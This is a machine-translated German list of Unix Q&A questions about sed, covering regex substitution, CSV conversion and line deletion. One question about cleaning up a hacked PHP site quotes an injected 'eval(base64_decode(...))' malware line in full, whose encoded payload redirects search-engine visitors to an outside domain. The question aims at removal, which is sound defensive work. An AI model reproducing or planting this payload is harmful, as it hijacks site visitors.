Als «sed» getaggte Fragen

"sed" ("Stream-Editor") ist ein Unix-Dienstprogramm, das Textdateien analysiert und transformiert.


4
Drucken Sie Zeile X vor / nach der gefundenen Zeile
Ich möchte in einer bestimmten Datei nach einer bestimmten Zeichenfolge suchen. Wenn ich die Zeichenfolge gefunden habe, möchte ich auch die Zeilen der Zeile X vor (oder nach) dieser Zeile drucken. Kann das mit grep oder awk oder brauche ich eine Kombination? Ich möchte so etwas wie haben , diese …
7 grep  sed  awk 

6
Verbinden von Textdateien mit mehr als 600 Millionen Zeilen
Ich habe zwei Dateien huge.txtund small.txt. huge.txthat rund 600 Millionen Zeilen und es ist 14 GB. Jede Zeile enthält vier durch Leerzeichen getrennte Wörter (Token) und schließlich eine weitere durch Leerzeichen getrennte Spalte mit einer Nummer. small.txthat 150K Zeilen mit einer Größe von ~ 3M, einem durch Leerzeichen getrennten Wort …

3
CSV-Datei mit sed transformieren
Um einige Daten in ein bestimmtes Tool importieren zu können, muss ich eine CSV-Datei aus diesem Format transformieren "data","data","data data","data","123" in dieses Format data;data;data data;data;123 Die Spalten enthalten nie ", ;oder ,aber es können Räume. Derzeit verwende ich Folgendes sed -e 's/","/;/g' -e 's/"//g' input.csv > output.csv Obwohl dies gut …
7 unix  sed  csv 

3
Wie füge ich die erste Zeile einer Datei hinzu?
Wie können Sie sed verwenden, um die gesamte erste Zeile einer Datei durch diese erste Zeile plus zusätzlichen Text zu ersetzen? Wie kann ich beispielsweise -fooan eine Datei anhängen , die nur eine Zeile enthält ? testfile Inhalt beginnt: some-text testfile Inhalt Ende: some-text-foo
6 sed 

1
Nicht gieriger regulärer Ausdruck zum Konvertieren von Befehlstags
Hintergrund Betrachten Sie den folgenden Text: There are three types of font families: serif, sans serif, and teletype. To switch between these families, use <cmd>rm</cmd> for serif, <cmd>ss</cmd> for sans serif, and <cmd>tt</cmd> for teletype. Ich möchte ändern <cmd>x</cmd>zu {{cmd|x}}, wie folgt: There are three types of font families: serif, …
5 unix  vim  regex  sed 

3
Wörter entfernen, die keine Buchstaben enthalten
Bei einer Textdatei mit durch Leerzeichen getrenntem String und einer durch Tabulatoren getrennten Ganzzahl möchte ich alle Wörter entfernen, die nicht aus Alpha bestehen, aber Wörter, die nur aus Alpha-Zeichen bestehen, und die Tabulatortaste sowie die Ganzzahl danach beibehalten. Meine Versuche, wie die unten, haben nichts gebracht. Was ich ausdrücken …


1
Was macht die Option -e in sed?
Ich versuche, ein Shell-Skript zu verstehen, das verwendet sed. Ich stellte fest, dass es einige Orte gab, an denen sed wurde mit dem angerufen -e Möglichkeit. Ich habe versucht, die zu sehen man Seite und es erwähnt nur, -e Befehl Hängen Sie die durch das Befehlsargument angegebenen Bearbeitungsbefehle an die …
4 sed 


1
grep, xargs, sed um PHP eval hack aufzuräumen
Ich versuche, die Befehle auf http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ zu verwenden, um einen PHP-basierten Hack zu bereinigen auf einer Website. Beispielcode zum Abgleichen / Entfernen <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); Versuchter Befehl: sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' Das Sudo wurde hinzugefügt, da es eine Lese- / Schreibberechtigung für …
3 grep  sed  xargs 

2
Sed Befehl mit Apostroph
sed -e 's/cluster_name: 'Test Cluster'/cluster_name: 'Test Cluster1'/' Ich habe diese Fehlermeldung: sed: -e expression, char 20: unterminated `s' command Wie kann ich den sed-Befehl korrigieren?
2 sed 

5
Löschen Sie Zeilen mit übereinstimmendem Muster nach der ersten Zeile mit sed
Ich möchte jede Zeile löschen, die ein Muster nach der ersten Zeile enthält (das Muster ist /^country\t/ ). Ich kann löschen jeden Vorkommen mit sed '/^country\t/d' in.txt > out.txt, aber ich möchte das erste Vorkommen in der ersten Zeile behalten. Die Hintergrundgeschichte ist, dass ich ein Verzeichnis tabulatorgetrennter Dateien mit …
2 sed 

3
awk / sed + ersetze nur das zweite Zeichen mit einem Leerzeichen
Bitte geben Sie an, wie Sie nur das zweite "." Zeichen aus der Versionsnummer mit awk Ich muss die Syntax für Linux & amp; Solaris Ich schreibe die sed "s'/\./ /g'" - aber diese Syntax entfernen alle "." von der Versionsnummer zum Beispiel (Versionsnummer vorher) 34.34.55.4 nach sed manipulation wird …
2 linux  sed  solaris 

1
sed, regex durch vars ersetzen
Ich versuche sed (4.2.2-4 + b1 debian 8 (jessie)) zu verwenden, um Text in mehreren Dateien zu ersetzen. Um davon auszugehen: $var1 = array(foo=>"bar",bar=>"foo"); $var2 = array( foo=>"bar", bar=>"foo" ); $var1 = array( foo=>"bar", bar=>"foo" ); Um dies zu bekommen: $var1 = array( "foo" => "bar","bar" => "foo"); $var2 = …
2 linux  regex  sed 

Durch die Nutzung unserer Website bestätigen Sie, dass Sie unsere Cookie-Richtlinie und Datenschutzrichtlinie gelesen und verstanden haben.
Licensed under cc by-sa 3.0 with attribution required.